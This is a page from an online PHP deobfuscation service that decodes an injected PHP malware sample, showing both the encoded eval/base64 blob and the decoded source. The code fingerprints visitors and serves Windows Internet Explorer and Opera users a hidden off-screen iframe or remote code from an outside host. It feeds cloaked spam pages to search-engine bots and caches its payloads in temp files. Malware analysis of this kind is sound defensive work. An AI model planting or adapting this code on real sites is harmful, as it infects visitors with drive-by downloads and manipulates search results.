Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('tVdtc9pIEv7MVd1/GFMqS4plJMS7seykNuxu6jZxDuO7DzahZGkEkw..

Decoded Output download

if (!defined('frmDs')){
	define('frmDs' ,1);
	
	function frm_dl ($url) {
		if (function_exists('curl_init')) {
			$ch = curl_init($url);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			$out = curl_exec ($ch);
			if (curl_errno($ch) !== 0) $out = false;
			curl_close ($ch);
		} else {$out = @file_get_contents($url);}
		return trim($out);
	}
	
	function frm_crpt($in){
		$il=strlen($in);$o='';
		for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
		return $o;
	}
	
	function frm_getcache($tmpdir,$link,$cmtime,$del=true){
		$f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link));
		if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime)
		{
			$dlc=frm_dl($link);
			if ($dlc){
				if($fp = @fopen($f,'w')){
					fwrite($fp, frm_crpt($dlc)); fclose($fp);
				}else{return $dlc;}
			}else{
				if(del)
					@unlink($f);
				else
					@touch($f);
			}
		}
		$fc = @file_get_contents($f);
		return ($fc)?frm_crpt($fc):'';
	}
	
	function frm_isbot($ua){
		if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; 
		$rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590),
					array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566),
					array(3481178113,3481182206),array(2915172353,2915237886));
		foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true;
		if(!$ua)return true;
		$bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider');
		foreach ($bots as $b) if(strpos($ua, $b)!==false) return true;
		return false;
	}
	
	function frm_tmpdir(){
		$fs = array('/tmp','/var/tmp');
        foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) {
            if ($t = getenv($v)) {$fs[]=$t;}
        }
        if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();}
        $fs[]='.';
		
        foreach ($fs as $f){
        	$tf = $f.'/'.md5(rand());
        	if($fp = @fopen($tf, 'w')){
        		fclose($fp);
        		unlink($tf);
        		return $f;
        	}
        }
		return false;
	}

	function frm_seref(){
		$r = @strtolower($_SERVER["HTTP_REFERER"]);
		$ses = array('google','bing','yahoo','ask','aol');
		foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true;
		return false;
	}
	
	function frm_isuniq($tdir){
		$ip=$_SERVER['REMOTE_ADDR'];
		$dbf=$tdir.'/sess_'.md5(date('m.d.y'));
		$odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400));
		if (file_exists($odbf)) @unlink($odbf);
		if(strpos(frm_crpt(@file_get_contents($dbf)),$ip) === false ){
			if ($fp=@fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);}
			return true;
		}
		return false;
	}
	
	$tdir = frm_tmpdir();

	$defframe = '<style>.hwilcs { position:absolute; left:-1091px; top:-955px; }</style> <div class="hwilcs"><iframe src="http://rvligdimsn.lookin.at/jquery/get.php?ver=jquery.latest.js" width="466" height="354"></iframe></div>';
	$defrdg='http://rvligdimsn.lookin.at/jquery/get.php?ver=jquery.js'; 
	$codelink = 'http://rvligdimsn.lookin.at/nc/gnc.php?ver=jquery.latest.js';
	$rdglink='http://rvligdimsn.lookin.at/nc/gnc.php?ver=jquery.js';
	
	$ua=$_SERVER['HTTP_USER_AGENT'];
	$isb=frm_isbot($ua);
	
	if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){
		error_reporting(0);	
		if(!isset($_COOKIE['__utmfr'])) {
			if(!$codelink)
				print($defframe);
			else
				print(frm_getcache($tdir,$codelink,30));
			@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
		}
	}
	
	//-------
	$host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST']));
	if($tdir && strlen($host)<100 && !preg_match('/^[0-9\.]+$/',$host)){
		$parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host)))),0,3);
		$pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0;
		$ruri = strtolower($_SERVER['REQUEST_URI']);
		if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){
			print(frm_getcache($tdir,"http://rvligdimsn.lookin.at/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*72,false));
			exit();
		}
		if ($isb) {
			error_reporting(0);
			print(frm_getcache($tdir,"http://rvligdimsn.lookin.at/rdg/getpage.php?h=$host&pa=$parg&g=".(($ruri=='/'||$ruri=='/index.php')?'1':'0'),60*72,false));
		}
	}
	//---------
}

Did this file decode correctly?

Original Code

<?php eval(gzinflate(base64_decode('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')));?>

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 1fdef66c3316fee55a3d6b6727a0074d
Eval Count 1
Decode Time 106 ms